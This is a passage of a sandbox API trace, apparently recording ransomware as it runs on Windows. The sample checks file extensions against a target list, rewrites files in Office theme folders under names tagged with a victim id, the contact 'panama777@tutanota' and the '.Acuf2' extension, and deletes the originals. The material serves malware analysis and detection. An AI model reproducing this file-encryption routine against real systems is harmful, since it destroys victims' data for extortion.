	[0051.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0051.873] lstrlenW (lpString=".doc") returned 4
	[0051.873] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0051.873] lstrlenW (lpString=".docx") returned 5
	[0051.873] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0051.873] lstrlenW (lpString=".pdf") returned 4
	[0051.873] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0051.873] lstrlenW (lpString=".xls") returned 4
	[0051.873] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0051.873] lstrlenW (lpString=".xlsx") returned 5
	[0051.873] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0051.874] lstrlenW (lpString=".ppt") returned 4
	[0051.874] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0051.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0051.874] lstrlenW (lpString=".zip") returned 4
	[0051.874] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0051.874] lstrlenW (lpString=".rar") returned 4
	[0051.874] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0051.874] lstrlenW (lpString=".bz2") returned 4
	[0051.874] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0051.874] lstrlenW (lpString=".7z") returned 3
	[0051.874] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0051.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0051.874] lstrlenW (lpString=".dbf") returned 4
	[0051.874] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0051.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0051.874] lstrlenW (lpString=".1cd") returned 4
	[0051.874] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0051.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76
	[0051.874] lstrlenW (lpString=".jpg") returned 4
	[0051.874] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0051.875] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.875] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0051.875] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0052.520] GetLastError () returned 0x0
	[0052.520] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x58f, lpOverlapped=0x0) returned 1
	[0052.924] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x590, lpOverlapped=0x0) returned 1
	[0052.926] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0052.926] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0052.926] SetEndOfFile (hFile=0x1f8) returned 1
	[0052.926] CloseHandle (hObject=0x1f8) returned 1
	[0052.927] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.927] SetEndOfFile (hFile=0x200) returned 1
	[0052.927] CloseHandle (hObject=0x200) returned 1
	[0052.928] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0052.928] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1
	[0052.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0052.928] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0052.928] lstrlenW (lpString=".doc") returned 4
	[0052.928] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0052.928] lstrlenW (lpString=".docx") returned 5
	[0052.928] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0052.928] lstrlenW (lpString=".pdf") returned 4
	[0052.928] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0052.928] lstrlenW (lpString=".xls") returned 4
	[0052.928] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0052.928] lstrlenW (lpString=".xlsx") returned 5
	[0052.929] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0052.929] lstrlenW (lpString=".ppt") returned 4
	[0052.929] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0052.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0052.929] lstrlenW (lpString=".zip") returned 4
	[0052.929] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0052.929] lstrlenW (lpString=".rar") returned 4
	[0052.929] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0052.929] lstrlenW (lpString=".bz2") returned 4
	[0052.929] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0052.929] lstrlenW (lpString=".7z") returned 3
	[0052.929] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0052.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0052.929] lstrlenW (lpString=".dbf") returned 4
	[0052.929] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0052.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0052.929] lstrlenW (lpString=".1cd") returned 4
	[0052.929] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0052.929] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75
	[0052.929] lstrlenW (lpString=".jpg") returned 4
	[0052.929] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0052.930] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.930] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0052.930] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0053.107] GetLastError () returned 0x0
	[0053.107] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x7279, lpOverlapped=0x0) returned 1
	[0053.108] WriteFile (in: hFile=0x158, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x7280, lpOverlapped=0x0) returned 1
	[0053.110] ReadFile (in: hFile=0x200, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.110] WriteFile (in: hFile=0x158, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0053.110] SetEndOfFile (hFile=0x158) returned 1
	[0053.110] CloseHandle (hObject=0x158) returned 1
	[0053.110] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.110] SetEndOfFile (hFile=0x200) returned 1
	[0053.111] CloseHandle (hObject=0x200) returned 1
	[0053.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.112] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1
	[0053.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72
	[0053.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72
	[0053.112] lstrlenW (lpString=".doc") returned 4
	[0053.112] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.112] lstrlenW (lpString=".docx") returned 5
	[0053.112] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.112] lstrlenW (lpString=".pdf") returned 4
	[0053.112] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.112] lstrlenW (lpString=".xls") returned 4
	[0053.112] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.112] lstrlenW (lpString=".xlsx") returned 5
	[0053.112] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.112] lstrlenW (lpString=".ppt") returned 4
	[0053.112] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72
	[0053.113] lstrlenW (lpString=".zip") returned 4
	[0053.113] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.113] lstrlenW (lpString=".rar") returned 4
	[0053.113] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.113] lstrlenW (lpString=".bz2") returned 4
	[0053.113] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.113] lstrlenW (lpString=".7z") returned 3
	[0053.113] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72
	[0053.113] lstrlenW (lpString=".dbf") returned 4
	[0053.113] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72
	[0053.113] lstrlenW (lpString=".1cd") returned 4
	[0053.113] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72
	[0053.113] lstrlenW (lpString=".jpg") returned 4
	[0053.113] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.114] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.114] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.114] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0053.116] GetLastError () returned 0x0
	[0053.116] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x3f1, lpOverlapped=0x0) returned 1
	[0053.118] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x400, lpOverlapped=0x0) returned 1
	[0053.118] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.119] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0053.119] SetEndOfFile (hFile=0x200) returned 1
	[0053.119] CloseHandle (hObject=0x200) returned 1
	[0053.119] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.119] SetEndOfFile (hFile=0x158) returned 1
	[0053.120] CloseHandle (hObject=0x158) returned 1
	[0053.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.120] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1
	[0053.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0053.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0053.120] lstrlenW (lpString=".doc") returned 4
	[0053.121] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.121] lstrlenW (lpString=".docx") returned 5
	[0053.121] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.121] lstrlenW (lpString=".pdf") returned 4
	[0053.121] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.121] lstrlenW (lpString=".xls") returned 4
	[0053.121] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.121] lstrlenW (lpString=".xlsx") returned 5
	[0053.121] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.121] lstrlenW (lpString=".ppt") returned 4
	[0053.121] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0053.121] lstrlenW (lpString=".zip") returned 4
	[0053.121] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.121] lstrlenW (lpString=".rar") returned 4
	[0053.121] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.121] lstrlenW (lpString=".bz2") returned 4
	[0053.121] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.121] lstrlenW (lpString=".7z") returned 3
	[0053.121] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0053.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0053.121] lstrlenW (lpString=".dbf") returned 4
	[0053.121] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0053.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0053.121] lstrlenW (lpString=".1cd") returned 4
	[0053.121] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0053.121] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73
	[0053.121] lstrlenW (lpString=".jpg") returned 4
	[0053.121] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0053.122] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.122] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.122] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0053.122] GetLastError () returned 0x0
	[0053.122] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x6a29, lpOverlapped=0x0) returned 1
	[0053.124] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x6a30, lpOverlapped=0x0) returned 1
	[0053.126] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.126] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0053.126] SetEndOfFile (hFile=0x200) returned 1
	[0053.126] CloseHandle (hObject=0x200) returned 1
	[0053.126] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.126] SetEndOfFile (hFile=0x158) returned 1
	[0053.127] CloseHandle (hObject=0x158) returned 1
	[0053.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.128] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1
	[0053.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74
	[0053.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74
	[0053.128] lstrlenW (lpString=".doc") returned 4
	[0053.128] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0053.128] lstrlenW (lpString=".docx") returned 5
	[0053.128] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0053.128] lstrlenW (lpString=".pdf") returned 4
	[0053.128] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0053.128] lstrlenW (lpString=".xls") returned 4
	[0053.128] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0053.128] lstrlenW (lpString=".xlsx") returned 5
	[0053.128] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0053.128] lstrlenW (lpString=".ppt") returned 4
	[0053.128] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0053.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74
	[0053.128] lstrlenW (lpString=".zip") returned 4
	[0053.128] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0053.128] lstrlenW (lpString=".rar") returned 4
	[0053.128] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0053.128] lstrlenW (lpString=".bz2") returned 4
	[0053.128] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0053.128] lstrlenW (lpString=".7z") returned 3
	[0053.128] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0053.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74
	[0053.129] lstrlenW (lpString=".dbf") returned 4
	[0053.129] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0053.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74
	[0053.129] lstrlenW (lpString=".1cd") returned 4
	[0053.129] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0053.129] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74
	[0053.129] lstrlenW (lpString=".jpg") returned 4
	[0053.129] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0053.129] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.129] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200
	[0053.131] GetLastError () returned 0x0
	[0053.131] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x8a1, lpOverlapped=0x0) returned 1
	[0053.132] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x8b0, lpOverlapped=0x0) returned 1
	[0053.133] ReadFile (in: hFile=0x158, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0053.133] WriteFile (in: hFile=0x200, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xea, lpOverlapped=0x0) returned 1
	[0053.133] SetEndOfFile (hFile=0x200) returned 1
	[0053.134] CloseHandle (hObject=0x200) returned 1
	[0053.134] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0053.134] SetEndOfFile (hFile=0x158) returned 1
	[0053.135] CloseHandle (hObject=0x158) returned 1
	[0053.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0053.135] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1
	[0053.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74
	[0053.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74
	[0053.135] lstrlenW (lpString=".doc") returned 4
	[0053.135] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0053.135] lstrlenW (lpString=".docx") returned 5
	[0053.135] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0053.135] lstrlenW (lpString=".pdf") returned 4
	[0053.135] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0053.135] lstrlenW (lpString=".xls") returned 4
	[0053.135] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0053.135] lstrlenW (lpString=".xlsx") returned 5
	[0053.136] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0053.136] lstrlenW (lpString=".ppt") returned 4
	[0053.136] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0053.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74
	[0053.136] lstrlenW (lpString=".zip") returned 4
	[0053.136] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0053.136] lstrlenW (lpString=".rar") returned 4
	[0053.136] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0053.136] lstrlenW (lpString=".bz2") returned 4
	[0053.136] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0053.136] lstrlenW (lpString=".7z") returned 3
	[0053.136] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
